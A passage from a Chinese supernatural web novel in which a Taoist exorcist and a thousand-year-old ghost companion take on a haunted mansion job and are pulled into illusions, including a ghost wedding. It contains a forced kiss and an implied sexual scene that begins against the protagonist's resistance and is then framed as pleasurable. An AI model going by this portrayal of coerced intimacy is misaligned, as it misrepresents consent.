步理摸住符纸,顾不得分开,抓住一大把就要掏出来往女鬼身上丢。
然而,还没有来得及,只听“嘭”的一声,紧接着,又一股阴冷袭来,步理身形下意识往后一退。
他看向最冷的地方——手腕。
那是一只骨骼分明的手,指尖可见的圆润,没有恐怖的血指甲,没有骇人的缝合伤口,只有白到不太健康的肤色。
不对,对方是鬼。
怎么可能健康。
步理感觉自己魔怔了。
“快活什么?”
隽宁笑意不达眼底,周身的气息没有丝毫的收敛,他的手劲渐渐加大,像是处于愤怒的边缘。
手腕处不怎么舒服,步理瞧了又瞧,他不明白为什么隽宁在生气。
周身围绕的冷气,让他不禁打了个寒颤。
因为隽宁的突然出现,他为数不多有用的符纸还在,其实,步理还是有点开心的。
于是,他开心的收回了符纸。
“你,你身上有他的阳气。”
女鬼的话一出,步理指尖一抖,符纸差点掉落。
“所以,你是他的仆人?”
女鬼的话显而易见是和隽宁说的。
24. 第 24 章
“不,你弄错了。”
隽宁摇头,笑容浮现,肆意张扬,眼神透着轻狂,腔调散漫,仿佛是对面前人无知的嘲笑,“他——是我的仆人。”
步理:嗯?说谁?我吗?
女鬼嘴角抽抽,一时间,空气有点凝固。
步理塞好符纸,然后扯了扯隽宁。隽宁微微侧头,步理靠近,悄咪咪低语道:“咱跑吧。”
隽宁轻“嗯?”一声,步理哼哧半天来了一句,“打不过不就得跑?”
隽宁哼笑一声,他打不过?
怎么可能,好歹……
好歹什么?
隽宁发现自己好像忘了些事,然而还没来得及想明白,女鬼等不及了,像是一个炮弹一样,直接飞奔而来。
步理:!!!
眼睛瞪的像是铜铃,拔腿就要跑,然而,手腕还被人拉扯。
隽宁感受到一阵拉扯,正准备和女鬼大战,然而,只感受到一阵拉力,下一秒,整个人被人拉着飞了起来。
步理跑得飞快,心脏“砰砰砰”一直跳个不停,耳边只剩下了“呼呼”的风声。进入肺部的空气越来越稀少,脑子也跟被浆糊了一样,思考不出半点对策。
“步,步,理。”
一颠一颠的,隽宁话都说不全。
“别说!保命!”
步理一口气说完,面前的世界上下颠着,步理满脑子要命要命,心里把认识不认识的人唠叨了一个遍,然后……
他一个不注意,撞到了墙上。
很扎实的一个碰撞。
没有心的隽宁,只感觉心脏处跟着颤了又颤。
“步理?”
步理没有说话,整个世界安静一瞬,然后杂音“嗡嗡嗡”充斥着整个脑袋。
疼。
步理顺着墙壁滑落在地上。
隽宁伸了伸手,也不敢触碰。看着步理呆滞的眼神,又好笑又心疼的。
他是千年老鬼,一个刚成形的女鬼,他怎么可能打不过?揪住他就开始跑,得亏他是一只鬼,不然还没跑,直接双双倒地了。
“疼吗?”
步理眼珠子转了转,心想,特么的净说废话。想着有些自闭,于是,他往后一靠,双手抱住双腿,将头埋进了腿间,沉默不语。
隽宁好笑,嘴角忍不住浮现出丝丝笑意,“抬头,步理。”
带着笑意的声音,步理听着只觉得刺耳。
但到底也只敢在心里骂一骂,过过嘴瘾。
步理跟一个鹌鹑一样,窝一团。
隽宁刚想要说话,然后,空气中阴冷的风一吹,紧接着,“嘀嗒嘀嗒”的声音响起,随后,吟唱声越来越近。
步理更自闭了。
手开始往兜里摸,看来,今天的符纸是非用不可了。
隽宁注意到步理的动作,知道对方可能在寻求时机使用符纸。想到早上步理那符纸的小心,不由得叹了一口气。
这符纸,对方珍贵得很。
隽宁伸手拍了拍步理的头,声音依旧朗润,却带着无比心安的靠谱感。
“害怕就别看,符纸放好。”
步理的动作一顿,浑身紧绷着,无意识地抿唇,内心升起一股股违和感。
隽宁在安抚他?
这么一想,步理浑身一抖,感觉鸡皮疙瘩都竖了起来。
不敢想象,步理逼迫自己正常点。
然后,只听一声响彻天地的惨叫,嘀嗒嘀嗒的声音消失。
条件反射,步理抬头看去。
血,满是血。
隽宁的手上,脸上,衣服上,都是血。
瞬间,步理的瞳孔变大,心脏处像是被一只大手紧紧攥住一般,抽抽着疼。他什么什么都不知道,但是眼圈却浮现出泪花,巨大的悲戚像是无尽的海水,堵住他的呼吸,疼痛像是藤蔓纠缠着他的四肢。
泪滑落,落在了胳膊上。
步理恍然。
他、在哭?
为什么?
隽宁抓着女鬼手臂的动作一顿。
是吓到步理了吗?对方似乎在哭?
离得有些远,他有些不确定,但下意识,他把女鬼的手臂背到身后,然后用脚踢了踢女鬼,将其掩藏在自己身后。
步理将对方的动作尽入眼底,像是挣脱了梦魇般,悲戚如潮水退却。意识到自己哭了,他蹙眉,胡乱擦了擦脸边的泪,只觉得自己有病,撑起身子就要离开。
恰好,一束光击破了黑暗。紧接着,天光乍破,黑暗消弭,步理回归到现实。
“大师,你说,你快说,钱好商量,到底应该怎么除掉她?”
手被人措不及防捞住,紧接被两只手握紧。随着瞳孔聚焦,步理看清了面前的人。
肥头大耳,胸前挂着瞩目的金链子。因为硌手,步理低头,是金戒指。
数了数,一共六个,交错戴在两只手上。
有钱。
步理心安理得了。
在对方注视下,步理缓缓举起了另一只手,五指张开。
“五百万?”
步理微微挑眉,有些惊讶,这么有钱的吗?
男人一脸肉疼,但是想到近来发生的怪事,咬紧牙关,直接答应,“只要大师帮我解决了,五百万不是小事。”
步理微笑,拿出对待客人的笑容,轻启红唇,“诚信合作,请先打一半的钱在这张卡上。”
“好!没问题大师,按你说的来。”
男人接过纸张,上面是一串数字。他两三下一叠,塞进自己的口袋,笑得开心,急忙询问,“那么大师,你什么时候捉鬼?”
“钱到账第二日。”
“行,大师,到时候看电话联系。”
男人将名片递给步理,而步理并没有动,男人讪讪一笑,将卡片放在了地摊上,笑着缓解尴尬,“忘记了,大师不接触客人的东西。”
“嗯。”
高冷的回复,男人再三确认下,才敢离开。走之前,他买了几张符纸。
百元的符纸,在男人率先开口下,一如既往,成了万元一张。
步理知错就错,收下了一笔巨款。
等到男人离开后,巷子又安静下来了。
“步理,你还害怕吗?”
不该提的偏要提,最后,步理单方面不理隽宁。
隽宁摸了摸鼻尖,因为害怕吓到步理,他已经将自己清理好,是一点看不出来他吃了一个鬼的。
然而,最后步理还是生闷气。
隽宁不懂,想了半天,没想懂。然而,乐呵乐呵地直接抛之脑后。
他飘在步理身边,一会儿戳戳步理的胳膊,一会翻翻步理摊子上的东西。跟一个好奇宝宝一样,问东问西。
问得步理不难烦了,步理也不管对方来头,直接翻白眼,以实际行动扭身来表明自己烦,拒
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绝交流。
但是,结果不理想就是了。
步理和隽宁就是,一个表示不要,一个看了表示并且做出了你要。
三个字形容。
——不高兴,以及没头脑。
“步理,我饿了。”
隽宁俊秀的眉峰微微一皱,鼻尖抖了一下,靠近步理,轻轻嗅了嗅。
步理见此,直接一个弹跳,他眼里要冒火了,指着隽宁“你你你”半天,最后憋出来一句话,“男男授受不亲!”
“啊?”
隽宁不明白,这哪跟哪啊?
“别闻。”
先不说有没有异味,万一有异味了,尴尬死了。
反正,不可以闻。
“为什么啊?”
“你怎么可以乱闻别人?”
说着说着,步理的脸憋的脸通红一片,他都不敢想象自己奔波半天有多难闻,这只鬼就那么水灵灵凑上来了?
“没有闻,是在嗅。”
隽宁解释着,他饿了,嗅点阳气怎么了?等到时候,他一出手,直接帮助步理达成百万交易。
嗯哼!
“不管是闻,还是嗅,都不可以!”
步理态度坚定,拒绝!
“你确定?”
隽宁狐疑,不让他嗅阳气,那就别怪他了……
“确”
话还没说完,步理只觉得迎面袭来一阵阴冷的风,然后,就被搂脖攀腰,嘴就被堵住了。
唇上一冷,步理大脑宕机。
阳气到手,隽宁满足,眼睛里浮现出星星笑意。舌尖下意识舔向嘴唇,下一秒,温热袭来。
隽宁一愣。
显然出乎了意料了。
而步理因为这一举动,彻底反应过来,抬起手就要把身上的人扯开。
隽宁察觉到步理的意图,慌忙之下,腿用了力,手紧紧搂住,怕被丢开,更是一手压住步理的头。
步理没有料到,来不及抿紧的双唇,就这么被突袭了。
阳气跟外泄的泉水一样,哗啦啦直流。
而作为交换,显然只有对方的阴气。
保命的东西,步理一向懂得多。
一想到身体里多了阴气,折损寿命,步理眼神冷了许多,动作也粗暴了不少。
察觉到对方极致的抗拒,隽宁心口处竟然抽了一下。然而,也就这么一下,并未让隽宁细想,转瞬即忘。
叹了一口气,隽宁松开了,让步理如愿以偿。
“隽宁,你太过分了!”
步理往后退一步,刚刚发生的已经触碰到他的底线了。
命,特么的这么宝贵的东西。
竟然给他身体里送阴气。
让他折寿!!!
“我,我不是故意的。”
隽宁想说这是意外,他就是想吸点阳气,补充一下刚刚耗费的体力,没有想要伸舌头来着。
“鬼才信你的。”
步理眼圈涩了涩,小命差点没有,他还打不过对方。
气狠了,步理转身就走。走之前还不忘记放狠话,“别跟着我!”
唉。
隽宁叹气又叹气,想想,也是,初吻给了一个鬼,确实有点令人难以接受。
要不然,多搞点钱吧。
哄哄小哭包。
反省反省,想到对策后,隽宁感知着自己的阴气,开始找起步理。
25. 第 25 章
步理有点难哄,隽宁哄了好几天,没能把人哄好。反而,隽宁被对方当做了空气。
无奈之下,隽宁放弃对嘴吸阳气,默默飘在步理身边,看着对方……
坑蒙拐骗。
又是一天坑蒙拐骗,步理上午赚了两百元,午餐因为上午的钱丰盛了不少。
隽宁蹲在一边,有些无聊。
“步理,你下午还要坑,嗯努力工作吗?”
话说得有些烫嘴,差一点心里话就被说出来了。
步理细嚼慢咽,仔细品尝,没有接话的意思。
“唉,步理,没有人知道你和一只鬼亲了的。”
本意想要劝解,然而,事与愿违。
步理握住筷子的手紧了又紧,最后愤愤不平把小白菜塞入了嘴里。
隽宁还是不懂,不懂他为什么会生气!
这是一个吻的事吗?
是吗?
压根不是!
这可是小命的头等大事!
步理心思九曲回肠,而面上却无任何显示,是有那冷了又冷的眼神表明着他目前心情并不好,最好不要招惹。
唉。
哄人这活真不是鬼干的。
隽宁默默闭了嘴,有些愁苦。
这仆从,有点不好养。
—
计划里,下午步理准备去另一个城区。但是,刚准备收拾东西出门,步理就收到了钱到账的信息。
关门的动作一顿,步理瞬间放弃去工作。他心安理得的翘班,回屋换下衣服,乐呵呵地拿着钱去了市中心。
像往常一样,步理先是去了老巷子买了一批上好的香,用来供奉自家祖师爷。然后,拿着钱给资助的贫困儿童基金会送去。
一如既往,步理留下了三千元。
隽宁看着对方的一波操作下来只剩下了三千块,犹豫再三,开口询问,“能坚持一个月吗?”
步理没听懂,看了看手上的卡,明白后,开口道:“估摸着不太行。”
“那你”
隽宁话没说完,步理接着自己的话补充道:“因为多了一个你。”
“?”
“你费电,费香,还费我小命。”
因为钱到账,步理心情好了不少。
对于他来说,人生两大重要的事,一为小命,二为钱财。
两者不分伯仲。
“我没有。”
隽宁否认,语气有些心虚,因为没让他吸阳气这些天,他确实和在步理祖师爷抢饭来着。
心虚之下,隽宁扯借口,“这些是为了帮你捉鬼做的准备。”
“好吧,所以,明天就看你了。”
步理露出礼貌的笑容,十分看好隽宁。
“放心,有我在,绝对不可能用上你珍贵的符纸的。”
隽宁拍胸脯,信誓旦旦做出保证。
步理没有说话,转身离开。
一个人停留在原地停留许久,嘴还一合一闭说着话,落在正常人眼里,他就是神经病了。
隽宁习以为常,步理的性格他也了解差不多了,话少,能沉默就沉默。
但,那一双丹凤眼,如墨般的眸色,能透露的东西绝不止一点。
比如现在,他知道步理很是牵强。
对他。
不过嘛,他舒适就好,他不牵强就好。
—
去捉鬼之前,步理斥巨资点了九根香,拜了拜老祖宗,祈求保佑平安护他小命。然后,他东翻西找,将自己压箱底的符纸全都拿了出来。
万事俱备,步理换了一身道士服,开门准备出去捉鬼。
客厅,电视机的声音与往日小了多。
听到关门的声音,隽宁视线从电视上移开,目光所及,黑色长袖道士服,端得隐逸高人神秘的模样。
突然,隽宁觉得,步理应该是长发。
很突兀的一个想法,也很快就被隽宁丢在脑后。
“走之前我可以先吃顿饭吗?”
对方目光真挚,步理犹豫片刻抬头点头同意。
隽宁乐呵飘向了供奉的房间。
—
有钱人就是好,金碧辉煌,门口摆放的都不是树,是金子。那能容纳一辆卡车的大门,全自动无人管。一条小路长几千米,还得坐车,而路的尽头,是能与市中心商场比拟的复式别墅。
壕无人性。
步理想。
“先生到了,请下车。”
随之,车子停下来,司机恭敬地说道。
步理微笑,“谢谢。”
拉开车门,步理下了车,还没来得及观看周围环境,手就被人激动地握住。
“大师,请你救救我儿子。”
步理下意识后退一步,看清了突然钻出来的的女人。女人穿着紫色的旗袍,头发挽着,从步理的角度看去,发顶白色的头发分外瞩目。
女人眼底青色,脸上愁苦万分,神情激动。
与之相反的是她肩膀上的鬼,异常地安静。
那是一只婴儿,穿着红色的肚兜,脸色乌青,白嫩的皮肤上是红色的伤痕。
这个女人,背过孽债。
“大师,你说话啊,能不能救我儿子,大师!!!”
女人还在念叨着,身边的女孩像是看不下去了,上前一步,扶住了女人,贴心安慰着,“夫人,先别激动。”
步理视线从小婴儿身上移开,侧头,正想要说话,然而,措不及防的带着血泪的脸映入眼帘,下意识,步理直接一个大动作,甩开了女人。
冲击力对于熬了几天没有休息的女人来说,并不能很好的稳住身形,因此,她向后仰头倒去。
女孩,不,是女鬼,也是被吓了一跳,硬生生看着女主人摔倒在地。
此刻,她的心思并不在女主人身上,而是这个看起来有真才实干的道士。
眼眶里的血加快流动,她的视线从女主人身上移开,看向步理,笑容阴恻恻,轻声询问,“你,是看到了什么吗?”
步理没有回复女鬼的话,连忙上前弯腰去扶女主人,一脸歉意,“不好意思,我女朋友不让女的接触我。”
“信口胡诌啊。”
看了半天的隽宁笑着说道。
步理没有理他,而是诚恳再次道了歉。
女鬼打消心里的疑问,紧忙扶住女主人,对步理说道:“我来吧。”
话音刚落,步理就松开了手。动作之间,看似是在避嫌,实则,只有他自己知道。
差一点,就要和女鬼手碰手了。
“大师,你先救救我儿吧。”
女人哭泣着,声音宛转而又悠扬,似远方传来,带着深深的诉说之意。
仿佛所有的心酸,无法言说都蕴藏在之中。
总之,让步理汗毛竖了又竖。
偏偏,这时候隽宁开口了。
“步理这是一座鬼宅子,那栋楼之下,都是孤魂野鬼呢。”
隽宁说这话的时候,声音中带着笑意,看起来像是在逗人一样。
但步理知道,隽宁一向很少开玩笑。
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步理把要说的话咽了又咽,最后想到那已经被花出去的钱,然后,步理下定了决心,对女人说道:“你老公给的钱只能解决你儿子的事。”
言外之意,其他的他不做干涉。
女人哭泣的声音一顿,眼里闪过纠结,最后仿佛下定了决心,郑重说道:“大师,那就麻烦大师了!”
隽宁把自己的身形又缩了缩,往步理领口跑去。感受到动静的步理,身形一顿,骂人的话在心里过滤了又过滤,最后,什么也没说。
跟着女鬼和女主人,步理往别墅里走去。
越靠近,越阴冷。脖子处,还有蟋蟋蟀蟀的动静,步理的手渐渐握在了一起。
“大师,我儿子在第一楼。”
一楼不错,逃命方便。
步理脸上再次浮现礼貌的微笑,跟着走了进去,踏进去的那一刻,迎面而来的阴风,像是要把步理腌入味。
不合时宜,步理想,对比这阴气,隽宁给他送的阴气竟然还能接受?
“大师,我儿现在还在休息,你”
女人的话一顿,似乎并不想要步理打扰她的儿子。
步理没有说话,等着女人后半部分的话。
开玩笑,这个地方待下去多损寿命,他可等不起。
“你跟我来吧。”
“好的。”
步理应下,落后女人一步。
女人咳嗽了一声,又往女鬼那里移了几分,她只觉得呼吸困难,肩膀也累得慌。
步理将女人动作尽收眼底,心知原因。刚刚的婴儿此刻已经爬到了女人的肩膀上,那青色的双手使劲搂着女人的脖子。而刚刚的咳嗽,就是因为婴儿好巧不巧搂紧了。
不过,步理没打算管。
因果在那个男孩上,钱管的是男孩,与他们的父母无关。
这是他收钱该办的事。
很快,几人来到了第四个房间门口。
刚到,步理就感受到了屋里的不同寻常。
甚至,他领口处的隽宁也受到了影响,直接一口咬在了他的脖子上。
步理心里倒吸一口冷气,眼皮下敛。
特么的牙口怎么会这么好?
步理胡思乱想间,女人推开了门,一阵冷气迎面扑来。步理应激抬头,一看望向了屋里。
黑漆漆一片,黑暗似有了实质,填充满整个房屋。
“屋里窗帘没有打开吗?”
步理微笑,他现在只希望女人能识趣,把窗帘打开。
不然,怎么死的,就只能死后下去问祖师爷了。
“他在休息。”
女人又咳嗽了几声,一脸慈祥。
“唉,你这,人要多接触阳光,这是人之本……”
步理开始信口胡诌,“而且,这间房的风水不好,背光不说,外面还有一棵桐树,桐树似人生长,久而久之,就掠夺了你儿子的生气,最好,现在就联系人砍掉……”
“是吗?”
女人像是见到了救星一样,紧握女鬼的双手眼看就要松开来握步理,步理一个激灵,直接双手背后,叽哩哇啦继续说起来,“还有,你儿子没有朋友吧?”
“是的。”
“这也是症结所在啊。”
步理叹了一口气,女人身子立马挺直,询问,“这要怎么做。”
“唉,先不说这个,先让你儿子见见阳光吧。”
步理叹了一口气,一脸难办。
女人见此立马吩咐身边的女孩,“去把窗帘拉开。”
“好。”
26. 第 26 章
在步理的忽悠下,女主人指使女鬼拉开了窗帘。本以为会天光乍破,冲破屋里的黑暗。然而并没有太大作用,就如步理提到的,那一棵挺拔的梧桐树在“汲取”屋里人的生气。
郁郁葱葱的梧桐树遮盖住了光线,屋里虽不如之前昏昏沉沉,但也好不到哪里去。
屋外晴天朗朗而屋内阴沉密布。
步理眉心直跳,太阳对鬼的震慑力虽然不强,但好歹有个削弱作用,可是现在……
这一单接得有点亏啊。
步理沉默久了,女人等焦灼了,“大师是需要我现在就联系人来砍树吗?”
一句话,瞬间多了七八双眼睛看向步理。
步理心顿时被提起来,悬着。
“不用,还是先看看小少爷的情况。”
脸不红心不跳,步理稳住声音,摇头拒绝。
声音落下,暗处回归了平静。窗边的女鬼眼球滴溜溜转又转,而后晃悠悠走到女主人身边,伸出了自己铁青的手。
女主人借势又倚靠住女鬼,有些魔怔,“好的,听大师的,大师说什么就是什么。”
小鬼又往上爬了爬,手已经伸向了女主人的眼睛。
这是快死之相。
步理像是无意地一瞥,随后他面无表情移开了视线,“我需要一斤白酒,二两大米,三根佛香,四鼎香灰,五根柳枝……酒要三十年的老酒,米要生虫的腐米,香要寺庙的陈香,灰要祭坛新燃的烟灰,柳枝、”
说到“柳枝”一词,步理的声音明显一顿,尾音颤了又颤后,空气一片寂静。
隽宁没有在咬他了,转而……
在舔他?!!!
湿润的触感,带着丝丝凉意,酥麻从尾骨而生,直击步理的天灵盖,一股难言的感觉爬上骨头,只觉得空气燥热起来。
步理紧抿双唇,手指蜷缩在一起,浑身紧绷着,忍耐着想要把身上鬼薅走扔掉的想法。
“大师?”
步理回神,微笑,“柳枝要此去向西千米外河中央树顶的嫩枝。”
女主人若有所思,步理神经紧绷着,努力维持面上的微笑,隐藏着身上的异样。
趴在脖颈处的隽宁,脑袋懵懵的,嘴里的肉突然硬了几分,不明所以,他张开嘴咬了上去。
左右磨一磨,想要搞懂为什么和刚刚不一样了。
“唔。”
步理耳廓爬上一层淡淡的粉色,脱口而出的闷哼声让步理整个人下意识警觉起来,心脏砰砰砰跳个不停,油然而生的一种隐秘的刺激感几乎要讲步理的理智吞噬而尽。
“大师可是有什么难处吗?”
步理摇头,“这些东西准备要一些时日,等准备好打这个电话联系我。”
他掏了掏口袋里的卡片,递给了女主人。
然而,女主人没有动,接过去的是女鬼。
当指尖相碰,冰寒的触感袭来时,步理惊觉后退已经来不及了。
面前的景物似漩涡一般扭曲起来,女鬼的头旋转起来,四周的声音消失,整个天地安静了下来。
步理想,隽宁真是个祸害精。
又想,他可真是个倒霉蛋。
“郎君准备好了吗?”
悠扬清脆的叫喊声传来,隽宁视线内开始清明,所有的景物逐渐明朗起来。
瞳孔聚焦,目光所及都是红色。
大红色的囍字,两边是跳跃的烛台。
“郎君,还没准备好嘛?将军已经在外面了。”
催促声里带着喜悦,步理没有回应 他低头,看到了自己身上的红色衣袖。
这是……嫁衣?
意识到自己被拽入幻境,步理太阳穴直跳个不停,他立刻站起了身,随着他的动作,身上的银饰叮叮当当的响个不停,在安静地房间里分外悦耳。
悦耳到步理心里脏话骂了一轮又一轮。
步理抬手摸向自己的脖子,空空荡荡什么都没有,只有湿润的一片,以及齿痕。
脖子上的鬼丢了。
步理只觉得头疼,转念想到隽宁都能咬他,甚至能让他感受到……唾液,想来是只大鬼,死不了。
或许,他现在更应该担心自己。
后知后觉,步理开始寻找起自己的符纸。
不出所担心的,符纸跟着自己的衣服一块消失了。
步理泄气,屋外的催促声越来越急,声音里的喜悦也转变为了焦灼,但是,却没有丝毫想要打开门的意思。
步理挑眉,这房间好像只要他不出去,任何人都进不来?
想到这里,步理坐回了床上。
屋外的催促声越来越小,到最后,彻底安静了下来。步理凝神听了一会,没有任何的声音,而后他干脆直接躺到了床上。
床边的帘幕也是红色的,床的中央悬挂着平安结。红色的珠子被包裹在中间,像是一个心脏,红色的线头一圈又一圈缠绕着它,看起来小巧精致。
步理看着,总觉得喜欢,索性坐了起来,近距离观察起来。
“吱呀——”,门被推开。
步理警觉回头看去,走进来一位身着朱红喜服男子。男子头戴银冠,腰系玉佩,足蹬锦绣革履,衣袍上的金色凤凰展翅高飞,只留下一个背影,尽显高贵与华丽。
步理第一个念头,对方好有钱。
“怎地不应声?”
男子开口,清爽朗润的声音落入耳中,步理顺势视线移到男子的脸上,金色的半脸面具遮盖住半边的脸,金色和白皙形成鲜明的对比。面具上与衣袍上的凤凰不同,这一只张扬而肆意,昂首挺立。
有点熟悉。
这人的脸有些熟悉。
步理一时间想不起究竟像谁。
思索之间,男人几步走到了步理身边。步理瞳孔猛然变大,下意识爬起来想要逃跑,然而,却被男人率先一步摁入了怀里。
头猛然撞男人,除了疼,还有刺入骨髓的阴冷。
步理想,果然是鬼。
想要挣脱,天旋地转间,步理整个人被推到了床上,衣服被人,哦不,被鬼探入。凉气入体,步理被惊了一个激灵,眼神里浮现出俱退之意。
“不就昨晚闹得比较过,连堂都不想拜了,真是娇气……”
男人嘟囔着,手上的动作越来越过分,步理此刻已经听不清男人在说什么,满脑子都是——
真特么要命。
“弄完了,得去拜堂,知晓不?”
话音落地,衣服也已经被解开,男人蹲下身子,面具被取下放在一边。
冷……热……
步理闷哼一声,从来没有经历过这些,致使他的脑子混沌不堪。
他躺在床上,失神地望着平安结。
平安结晃荡着,晃荡着,耳边除了吞咽声,还夹杂着银饰碰撞的声
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音。
空气仿佛被炸开般。
泪,从眼眶而下。
——爽的。
步理紧紧揪着被褥的手泄了几分力气,整个人彻底躺下,懵圈地看着平安扣。
平安扣不晃了。
步理想……
—
堂还是拜了,随着“夫妻对拜”一声落下,步理弯下的腰被人扶住,随后被人带着往后退了一大步。
“步理,你还真和一只鬼结婚了?”
熟悉的声音响起,步理侧头,拦腰的人正含笑看着他,眼神里却没有任何高兴之意。
是隽宁了……
步理迟缓的意识到,他好像与一只鬼拜了堂。
!!!
我滴祖师爷啊。
我把我自己卖了出去!
理智回归,伴随而来是灼心的痛苦,步理伸手推了推隽宁,想要离开。
然而,并没有推开,反而惹得身边的人更为用劲,像是要把腰给拦断。
欢乐的场面,因为这一意外,彻底安静下来。
“松开!”
声音带着恼怒,后者才松开了手。
“你是何人?”
熟悉的感觉过甚,伴随而来的是深深的抵触,男人的眼神多了些杀意。
步理站稳了身子,眼神复杂地看向男鬼,这一切太过于荒唐了,以至于,脑袋疯狂运作下,他才想起来自己为什么同意了。
那面具之下,是和隽宁相同的脸。
一模一样。
“我?”
隽宁挑眉,看向步理的眼神突然缱绻起来,那满是情谊的眸子,像是要把人溺毙。
步理打了一个寒颤,身形后退一步。
隽宁像是没看到步理的恶寒,伸手扯住步理的胳膊,看向了男人,“很显而易见不是吗?”
男人皱眉,对于隽宁的抵触,让他不敢向前。
但,周围的鬼魂早已经蓄势待发,蠢蠢欲动。
“三郎,你莫不是忘了你同我说的话?”
眼看僵持不下,男人将视线落在了步理身上,明亮的眼眸似乎多了泪,波光涟涟,满是哀愁。
步理瞅了几眼,可以错开视线,没有言语。
反倒是隽宁,像是宣告主权一样,双唇轻碰,不要脸的话脱口而出,“哪来的三郎,这是我的夫郎,跟你没关系。”
步理:……
“不是吗?”
隽宁侧头望向步理,满含深意忘了步理一眼,眼里明明晃晃的警告之意。
为了小命,步理点头,似同意隽宁的说法。
“你不是我的三郎?怎么可能不是?”
三句话,男人好像只听懂了第一句话。
怎么会不是呢?
不可能不是的!
“你就是我的三郎!”
随着一声怒吼,男人向前一大步,伸手就要去扯步理,然而,隽宁一个抬手,握住了男人的手,制止了男人的动作。
步理下意识往隽宁身后躲了躲。
而这一幕刺痛了男人的眼睛,喃喃自语化为仰天长笑。随着声音扩散,四周的鬼魂纷纷互相残杀起来。
“你不是,你不是我的三郎!!!”
似哭似笑,蕴含着无尽的悲怆。
步理的心头一颤,胸口闷闷的。
“我的三郎不会躲着我,不会的……”
27. 第 27 章
“师弟师弟,快点醒醒!师傅回来了。”
耳边是焦急的呼喊,胳膊被人推攘着,步理悠悠转醒,一张放大的脸惊得他下意识抬手去推。
然而,伸出的手却被人直接牵住,对方一个用力,将他从睡椅上拉了起来。
“师弟,你赶紧回你的禁闭室,不然待会师傅要罚我了。”
步理没有搞懂现在的情况,他不是正在幻境里吗?他记得……那个男鬼疯魔之后,所有的鬼跟无头的苍蝇一样,除了自相残杀外,他成了最大的目标,而隽宁……
步理回忆着,意识消散最后一刻他似乎看到了隽宁面脸的惊恐失措,嘴里好像还在说着些什么……
只可惜,他没有听见。
走神间,步理被拉到了一个房门口。
“你”
步理想要询问谁是师傅,然而还开口,穿着蓝色道士袍的人直接推开门把步理往屋里一推,笑着说着,“进去吧。”
声音未落,门再次被关上。
反应慢半拍的步理:……
“师弟,你安生生待着,别让师傅看出来,不然下一次你求我都没有用。”
屋外的声音越来越远,步理尝试去拉门,却被一股力量阻挡住。再三尝试后,门依旧十分牢固。
半天弄不开,步理索性放弃了。他转身,观察起这个诡异的屋子。
屋里的陈设很简单,只有一张桌子和一张床。除此之外什么都没有,桌子和床离得很远,一左一右。
扫视到最后,他果断选择了床,因为桌子只有桌子,没有凳子。
步理坐在床上,脑袋飞速的开始运作起来。
他似乎又进入了一个幻境。
而这一猜测,是在看到蓝衣道士服嘴里的师傅后,他才彻底确定了。
胡须同肩后的白发一起飘飘然,眉目祥和,说起话来一顿一顿,老有节奏了。
重点是,这张脸和他家供奉的那位祖师爷简直是一个模子里刻出来的。
“出尘,你在神游?”
白胡子乐呵呵的,眼神慈祥。
步理摇头,张了张嘴,最后并没有说话。
他总不能说自己不是他徒弟,是他几千年后的徒孙吧?
“徒儿想明白了吗?”
什么?
想什么?
“若还是不明白,那就只能”
步理一个激灵,他已经被关四五天了,要再进去的话,他会被关疯的。
于是步理连忙开口,“想明白了。”
“真的想明白了?”
步理坚定点头,“想明白了。”
“那行吧,你明日下山吧。”
步理点头的动作一顿,有些迷茫,“下山?”
—
下山很顺利,步理早上出发,在天色尚晚时,成功抵达镇上的旅店。
旅店很老旧,悬挂的木牌历经风吹雨打字迹已经模糊不堪,依稀可以辨认出茶一字。
风一吹,木牌吱呀呀的,摇摇欲坠。随风而起的落叶飘飘荡荡的,站在门外都能看出里面的破败。
步理推开了不算门的门,走了进去。
吱呀的门声让屋里迅速走出来了一个人,他身上围着半块白布,手里拿着一把刀,瞧见背着行囊的步理后,他先是眯眼观察一番,见与敌寇相差甚远,他迅速收起刀,挂上了和善的笑容。
“客人这是要住店?”
步理行礼,点头,“是要住店。”
“最近敌寇甚多,客人这是?”
“为已亡人收魂。”
步理这一门派,除了绞杀恶鬼之外,便是为已亡人做引渡者。
他这一次下山,便是受师傅所托。
“原来是大师!你快请进。”
男人几步走向步理,伸手做出请的姿势。
渡者,虽神秘,却也不是什么秘密,天下大都心知这一类人的存在,他们世代隐居山中,非动荡不出。
通俗点,也就是百姓口中的捉鬼道士。
因此一句大师,别看步理上不足三十有余,却也仍然担得起。
“谢店家。”
步理没有推辞,跟着店家走了进去。
进屋后,男人吩咐好生招待,步理就被带到了上等的厢房,然后配置了六道素菜。
在这战争频发的地方,六道素菜已经是上好的配置。
步理没有拂店家面子,吃过后偏歇息。
第二日,走之前,步理将自己带的二分之一的银子留在了房里,便继续赶路。
根据流民指的方向,步理找到了战争发生之地。
荒芜的土地上,混乱不堪。夕阳余晖洒落在尘埃飞扬的大地,展现出一幅血红色的画卷。
步理的面前是游荡着的亡魂。
风,突然而起,血腥味混杂着硝烟迎面扑面,步理似乎看到了飘扬的旌旗,耳边是战马的嘶吼以及战马的悲鸣。
兵器交接,步理面前似乎只有红。
这是战场。
残酷的战场。
风卷残云映战场,千里血染山河红。
步理弯腰致敬,而后从行囊里拿出渡魂器。
渡魂器形小似铃铛,却无铃铛悦耳之声,共有五枚,每一枚不可或缺,少一便失去作用。步理将符纸一一贴在渡魂器外,而后凝神轻晃。
周围的鬼魂刹那全都停下了动作,而后随着又一次的摇晃,灵魂开始朝步理聚集。
以步理为中心,很快形成一半径为百米的圈。这里面不仅有本朝战士的鬼魂,敌寇的鬼魂也不少。
风越来越急,原先的暖风逐渐变得阴冷。
步理也从站着变为了坐下。
铃铛还在继续,步理嘴里开始念念有词。
随着一个又一个字的蹦出,周围的鬼魂开始一个又一个的减少……直至靠近步理身边的鬼魂相继消失后,步理放下了早已经发麻的胳膊,他睁开眼,眼前已经没有任何生灵。
抿了抿发干的嘴唇,步理就地躺了下来。
太累了……
太耗费精气了。
往日里,几位师兄总说他聪明。
现在看来,慧极必伤啊……
慢慢的,步理合上了眼睛。
以地为床,以天为被,步理睡了一个踏实觉。
——
“喂,帐篷里的那个人还没醒吗?”
“应该没有。”
“将军怎么就把他带回来了,万一是细作怎么办?”
“你看那细胳膊细腿的,能是细作吗?”
“我看着悬……”
隔着薄薄的一张布,屋外交谈声不用细听,清晰入耳。步理躺在硬板上,虚虚望着空中。
过度耗费的后果,这几天孤魂野鬼怕是都要来一遭了。
屋外的交谈声渐渐消匿,等到步理意识到,屋里已经多出来一个人,那人正探手试探他。
步理瞳孔聚焦,侧头,满是你在干什
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么的神色。
